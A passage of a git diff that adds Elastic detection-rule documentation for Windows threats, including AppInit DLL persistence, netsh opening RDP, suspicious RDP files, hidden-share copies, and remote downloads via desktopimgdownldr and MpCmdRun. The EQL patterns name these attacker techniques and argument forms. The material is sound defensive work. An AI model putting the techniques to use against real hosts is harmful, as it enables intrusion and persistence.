droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "AppInit_Dlls" and + not process.executable : ( + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*\\Display.NvContainer\\NVDisplay.Container.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Program Files\\Commvault\\Base\\cvd.exe", + "?:\\Program Files\\Commvault\\ContentStore*\\Base\\cvd.exe", + "?:\\Program Files (x86)\\Commvault\\Base\\cvd.exe", + "?:\\Program Files (x86)\\Commvault\\ContentStore*\\Base\\cvd.exe", + "?:\\Program Files\\NVIDIA Corporation\\Display.NvContainer\\NVDisplay.Container.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\DriverStore\\FileRepository\\*\\Display.NvContainer\\NVDisplay.Container.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Commvault\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Commvault\\ContentStore*\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Commvault\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Commvault\\ContentStore*\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files\\NVIDIA Corporation\\Display.NvContainer\\NVDisplay.Container.exe" + ) + /* + Full registry key path omitted due to data source variations: + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls" + "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppInit DLLs +** ID: T1546.010 +** Reference URL: https://attack.mitre.org/techniques/T1546/010/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc new file mode 100644 index 0000000000..33134e49f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-remote-desktop-enabled-in-windows-firewall-by-netsh]] +=== Remote Desktop Enabled in Windows Firewall by Netsh + +Identifies use of the network shell utility (netsh.exe) to enable inbound Remote Desktop Protocol (RDP) connections in the Windows Firewall. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Desktop Enabled in Windows Firewall by Netsh* + + +Microsoft Remote Desktop Protocol (RDP) is a proprietary Microsoft protocol that enables remote connections to other computers, typically over TCP port 3389. + +Attackers can use RDP to conduct their actions interactively. Ransomware operators frequently use RDP to access victim servers, often using privileged accounts. + +This rule detects the creation of a Windows Firewall inbound rule that would allow inbound RDP traffic using the `netsh.exe` utility. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether it makes sense to enable RDP to this host, given its role in the environment. +- Check if the host is directly exposed to the internet. +- Check whether privileged accounts accessed the host shortly after the modification. +- Review network events within a short timespan of this alert for incoming RDP connection attempts. + + +*False positive analysis* + + +- The `netsh.exe` utility can be used legitimately. Check whether the user should be performing this kind of activity, whether the user is aware of it, whether RDP should be open, and whether the action exposes the environment to unnecessary risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If RDP is needed, make sure to secure it: + - Allowlist RDP traffic to specific trusted hosts. + - Restrict RDP logins to authorized non-administrator accounts, where possible. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : ("localport=3389", "RemoteDesktop", "group=\"remote desktop\"") and + process.args : ("action=allow", "enable=Yes", "enable") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-file-opened-from-suspicious-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-file-opened-from-suspicious-path.asciidoc new file mode 100644 index 0000000000..a084bc1d6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-desktop-file-opened-from-suspicious-path.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-remote-desktop-file-opened-from-suspicious-path]] +=== Remote Desktop File Opened from Suspicious Path + +Identifies attempts to open a remote desktop file from suspicious paths. Adversaries may abuse RDP files for initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/ +* https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/ +* https://shorsec.io/blog/malrdp-implementing-rouge-rdp-manually/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Desktop File Opened from Suspicious Path* + + +Remote Desktop Protocol (RDP) allows users to connect to and control a computer remotely, facilitating remote work and administration. However, adversaries can exploit RDP files, which store connection settings, to gain unauthorized access. They may distribute malicious RDP files via phishing, placing them in suspicious directories. The detection rule identifies when RDP files are opened from unusual paths, signaling potential misuse and enabling analysts to investigate further. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of "mstsc.exe" and verify the suspicious path from which the RDP file was opened, as specified in the query. +- Check the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Investigate the source of the RDP file by examining recent email activity or downloads to identify potential phishing attempts or unauthorized file transfers. +- Analyze the system's event logs for any other unusual activities or processes that occurred around the same time as the RDP file execution. +- Assess the network connections established by the system during the time of the alert to identify any suspicious or unauthorized remote connections. +- Consult threat intelligence sources to determine if the identified path or file name pattern is associated with known malicious campaigns or threat actors. + + +*False positive analysis* + + +- Users frequently download legitimate RDP files from trusted sources like corporate emails or internal portals. To manage this, create exceptions for known safe domains or email addresses in your security tools. +- Temporary directories often store RDP files during legitimate software installations or updates. Monitor these activities and whitelist specific processes or software that are known to use RDP files during their operations. +- Employees working remotely may use RDP files stored in their Downloads folder for legitimate access to company resources. Implement a policy to educate users on safe RDP file handling and consider excluding the Downloads folder from alerts if it is a common practice. +- Some business applications may generate RDP files in temporary directories as part of their normal operation. Identify these applications and configure your detection systems to exclude their specific file paths or process names. +- Automated scripts or IT management tools might use RDP files for routine administrative tasks. Document these scripts and tools, and adjust your detection rules to ignore their specific activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any active RDP sessions initiated from the suspicious paths identified in the alert to cut off potential attacker access. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious files or software. +- Review and remove any unauthorized RDP files from the suspicious directories listed in the detection query to prevent future misuse. +- Reset credentials for any accounts that were used to open the suspicious RDP files, ensuring that new passwords are strong and unique. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for RDP activities across the network to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "mstsc.exe" and + process.args : ("?:\\Users\\*\\Downloads\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*.rdp", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\*.rdp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-copy-to-a-hidden-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-copy-to-a-hidden-share.asciidoc new file mode 100644 index 0000000000..00c459e994 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-copy-to-a-hidden-share.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-remote-file-copy-to-a-hidden-share]] +=== Remote File Copy to a Hidden Share + +Identifies a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote File Copy to a Hidden Share* + + +In Windows environments, hidden network shares are often used for legitimate administrative tasks, allowing file transfers without user visibility. However, adversaries can exploit these shares for lateral movement or data exfiltration. The detection rule identifies suspicious file copy attempts using common command-line tools like cmd.exe and powershell.exe, focusing on hidden share patterns to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command-line tool used (cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe) and examine the arguments to understand the nature of the file copy operation. +- Investigate the source and destination of the file copy by analyzing the network share path in the process arguments, focusing on the hidden share pattern (e.g., \\*\\*$). +- Check the user account associated with the process to determine if it has legitimate access to the hidden share and assess if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host or user to identify any additional suspicious activities, such as unusual login attempts or privilege escalation. +- Examine the historical activity of the involved host to identify any previous instances of similar file copy attempts or other indicators of lateral movement. +- Consult threat intelligence sources to determine if the detected pattern or tools are associated with known adversary techniques or campaigns. + + +*False positive analysis* + + +- Administrative tasks using hidden shares can trigger alerts. Regularly review and document legitimate administrative activities that involve file transfers to hidden shares. +- Backup operations often use hidden shares for data storage. Identify and exclude backup processes by specifying known backup software and their typical command-line arguments. +- Software deployment tools may utilize hidden shares for distributing updates. Create exceptions for recognized deployment tools by listing their process names and associated arguments. +- IT maintenance scripts might copy files to hidden shares for system updates. Maintain a list of approved maintenance scripts and exclude them from triggering alerts. +- User-initiated file transfers for legitimate purposes can be mistaken for threats. Educate users on proper file transfer methods and monitor for unusual patterns that deviate from documented procedures. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement or data exfiltration. +- Terminate any suspicious processes identified in the alert, such as cmd.exe, powershell.exe, xcopy.exe, or robocopy.exe, that are involved in the file copy attempt. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or unauthorized access. +- Change credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Review and restrict permissions on network shares, especially hidden shares, to ensure only authorized users have access. +- Monitor network traffic for any further suspicious activity related to hidden shares and lateral movement attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and user.id != "S-1-5-18" and + process.name : ("cmd.exe", "powershell.exe") and + process.command_line : "*\\\\*\\*$*" and process.command_line : ("* copy*", "* move*", "* cp *", "* mv *") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-desktopimgdownldr-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-desktopimgdownldr-utility.asciidoc new file mode 100644 index 0000000000..0fe9cb02c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-desktopimgdownldr-utility.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-remote-file-download-via-desktopimgdownldr-utility]] +=== Remote File Download via Desktopimgdownldr Utility + +Identifies the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via Desktopimgdownldr Utility* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse signed utilities to drop these files. + +The `Desktopimgdownldr.exe` utility is used to to configure lockscreen/desktop image, and can be abused with the `lockscreenurl` argument to download remote files and tools, this rule looks for this behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. +- Analysts can dismiss the alert if the downloaded file is a legitimate image. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "desktopimgdownldr.exe" or ?process.pe.original_file_name == "desktopimgdownldr.exe") and + process.args : "/lockscreenurl:http*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-mpcmdrun.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-mpcmdrun.asciidoc new file mode 100644 index 0000000000..b4048cd765 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-file-download-via-mpcmdrun.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-remote-file-download-via-mpcmdrun]] +=== Remote File Download via MpCmdRun + +Identifies the Windows Defender configuration utility (MpCmdRun.exe) being used to download a remote file. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/mohammadaskar2/status/1301263551638761477 +* https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via MpCmdRun* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse signed utilities to drop these files. + +The `MpCmdRun.exe` is a command-line tool part of Windows Defender and is used to manage various Microsoft Windows Defender Antivirus settings and perform certain tasks. It can also be abused by attackers to download remote files, including malware and offensive tooling. This rule looks for the patterns used to perform downloads using the utility. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Check the reputation of the domain or IP address used to host the downloaded file. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE 